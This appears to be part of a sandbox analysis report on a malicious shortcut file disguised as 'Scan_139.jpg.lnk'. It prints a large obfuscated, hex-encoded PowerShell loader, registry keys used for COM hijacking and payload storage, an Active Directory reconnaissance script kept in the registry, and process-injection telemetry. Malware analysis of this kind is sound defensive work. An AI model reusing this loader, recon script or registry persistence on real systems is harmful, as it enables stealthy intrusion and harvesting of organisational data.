239324433313330333432393239354432303744323037443230334232343738363633313230334432303238323632303234364336383338374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234373436393333334433303342323437343639333332303244364337343230323437383636333132453443363536453637373436383342323437343639333332423344333232393742323035423633364636453736363537323734354433413341353436463432373937343635323832343738363633313245353337353632373337343732363936453637323832343734363933333243333232393243323832383238333732423330323932423339323932393239323037443239323927297c2628247073686f6d655b3130372d3130335d2b247073686f6d655b3133382d3130345d2b277827297d66756e6374696f6e20706c377b706172616d2824676934292028717a362027323436363735333133443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233303433333033343330333432443331333333313333324433303432333033303244333034313330343232443331333333313333333033333331333233303332333033373744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733313332333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373331333233303433323733423234373036443334334432383234363637353331354233333332354432423238333632423238333133343242323832383332333132443338323932393239323932393342323032343638364233323344323436363735333135423234373036443334324532453238323437303644333432423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343638364233323239334232343636373533313344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323330343333303334333033343244333133333331333332443330343233303330324433303431333034323244333133333331333333303333333133323330333233303337374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333233303337323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033323330333732373342323437303644333433443742323032343632363333393344333032453245333233353335334233303245324533323335333537433235374232303234373937353333334432383234373937353333324232343632363333393542323435463544324232343638364233323542323435463235323436383642333232453443363536453637373436383544323932353238333233313331324232383238333133313242333333343239323932393342323032343632363333393542323435463544324332343632363333393542323437393735333335443344323436323633333935423234373937353333354432433234363236333339354232343546354432303744323033423234363637353331374332353742323436443645333533443238323436443645333532423331323932353238333433313336324432383238333333313333324433363333323932443339333032393239334232303234364637353332334432383234364637353332324232343632363333393542323436443645333535443239323532383238333933303242323833323330324233313334333632393239323933423230323436323633333935423234364436453335354432433234363236333339354232343646373533323544334432343632363333393542323436463735333235443243323436323633333935423234364436453335354433423234354632443632373836463732323436323633333935423238323436323633333935423234364436453335354432423234363236333339354232343646373533323544323932353238323832383333333933323244333333323239324433313330333432393239354432303744323037443230334232343642363733343230334432303238323632303234373036443334374336363646373236353631363336383244364636323641363536333734374232373742333033413538333237443237323032443636323032343546323037443239324436413646363936453230323732373342323032383234323836363646373232383234364436453335334433303342323436443645333532303244364337343230323436423637333432453443363536453637373436383342323436443645333532423344333232393742323035423633364636453736363537323734354433413341353436463432373937343635323832343642363733343245353337353632373337343732363936453637323832343644364533353243333232393243323832383238333732423330323932423339323932393239323037443239323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3232322d3138385d2b277827297d66756e6374696f6e206e74367b706172616d28246777362c247262322c246e7236292028687839202732343738363833303344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343738363833303245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343637373733363239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343738363833303245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437323632333232433234363737373336323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373836383330324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137372d3137335d2b247073686f6d655b3138362d3135325d2b277827297d66756e6374696f6e207079307b706172616d2824656a302c246c6b332c246178362c24736d372920286a6c30202732343738363533303344354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323836413639333032303237353636393732373437353631364334313643364336463633343537383237323932433238364336453333323034303238354234393645373435303734373235443243354234393645373435303734373235443243354234393645373435303734373235443243354236393645373435443243354236393645373435443239323835423439364537343730373437323544323932393239324536393645373636463642363532383244333132433330324332343643364233333243323833323333333333343330324433313331333033353332323932433234373336443337323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364136393330323032373532373436433444364637363635344436353644364637323739323732393243323836433645333332303430323835423439364537343530373437323544324335423632373937343635354235443544324335423535343936453734333333323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238323437383635333032433234363536413330324332343643364233333239334232343738363533303344344536353737324434463632364136353633373432303533373937333734363536443245343936453734373037343732323032443431373236373735364436353645373434433639373337343230323432383234373836353330324535343646343936453734333633343238323932423234363137383336323933423542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364136393330323032373433373236353631373436353534363837323635363136343237323932433238364336453333323034303238354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443243354234393645373435303734373235443243354235353439364537343333333235443243354234393645373435303734373235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383330324333303243323437383635333032433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230323832383238333433313330324233313331333133363239323932423331333333303330323927297c2628247073686f6d655b3137342d3137305d2b247073686f6d655b3136312d3132375d2b277827297d66756e6374696f6e207572387b706172616d28247574392c246361302c246b643029202879723220273234363436453331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343638363633383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634364533313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363436453331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363836363338324332343735373433393239323927297c2628247073686f6d655b3136332d3135395d2b247073686f6d655b3136342d3133305d2b277827297d7079302024656a302024656a302e6c656e677468202828373332382b28363032352b3431383729292920282832312b3734292d33312966756e6374696f6e207766327b706172616d28247278342c246273382c246977392920287a6e39202732343641363433323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343641363433323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343732373833343239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343641363433323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436323733333832433234373237383334323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364136343332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137372d3137335d2b247073686f6d655b3137392d3134355d2b277827297d66756e6374696f6e206973377b706172616d28247a61372c24647139292028767730202732343733373733343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343733373733343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343741363133373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343733373733343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436343731333932433234374136313337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373337373334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132382d3132345d2b247073686f6d655b3136302d3132365d2b277827297d powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\VersionIndependentProgID\120C = 595b6e5354767c52227b646c2a574440605070362621717a2b5f3d633c2e4d653072333a6851324c4b2f77412c2434353727493f586d6146786b55695e4579433e732d6f385c4f564e6a47667d487e4275653563776831666a6e6d78673936646f797574327670387a726273346b61693371327d6b757a316d66776e5e235f705a5d30734a555b68336f653a2b67413d262d4d444749644653284f592c3b223c2a37762e547b25504248273f2421296162745c40514e605639363835573e6c694334635258457e2f78794b7c726a4c powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\ProgID\ = "{03070F00-1313-030E-0404-03070411000D}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\LocalServer powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{03070F00-1313-030E-0404-03070411000D}\CLSID\ = "{120C0404-1313-0B00-0A0B-131303120207}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E040C09-120D-1208-0F01-0D0C050C1206}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E040C09-120D-1208-0F01-0D0C050C1206} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E040C09-120D-1208-0F01-0D0C050C1206}\ = "{03070F00-1313-030E-0404-03070411000D}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\VersionIndependentProgID\ = "{03070F00-1313-030E-0404-03070411000D}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{03070F00-1313-030E-0404-03070411000D}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{03070F00-1313-030E-0404-03070411000D}\ = "{03070F00-1313-030E-0404-03070411000D}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E040C09-120D-1208-0F01-0D0C050C1206}\TreatAs\ = "{120C0404-1313-0B00-0A0B-131303120207}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{120C0404-1313-0B00-0A0B-131303120207}\ProgID powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\CLSID\6388 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 4888 powershell.exe 4888 powershell.exe 4888 powershell.exe 4888 powershell.exe 4312 msiexec.exe 4312 msiexec.exe 204 powershell.exe 204 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 4888 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4888 powershell.exe Token: SeDebugPrivilege 204 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exemsiexec.exedescription pid process target process PID 4104 wrote to memory of 4888 4104 cmd.exe powershell.exe PID 4104 wrote to memory of 4888 4104 cmd.exe powershell.exe PID 4888 wrote to memory of 4312 4888 powershell.exe msiexec.exe PID 4888 wrote to memory of 4312 4888 powershell.exe msiexec.exe PID 4312 wrote to memory of 204 4312 msiexec.exe powershell.exe PID 4312 wrote to memory of 204 4312 msiexec.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Scan_139.jpg.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1662.ps12⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='6388';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:204
-
-
-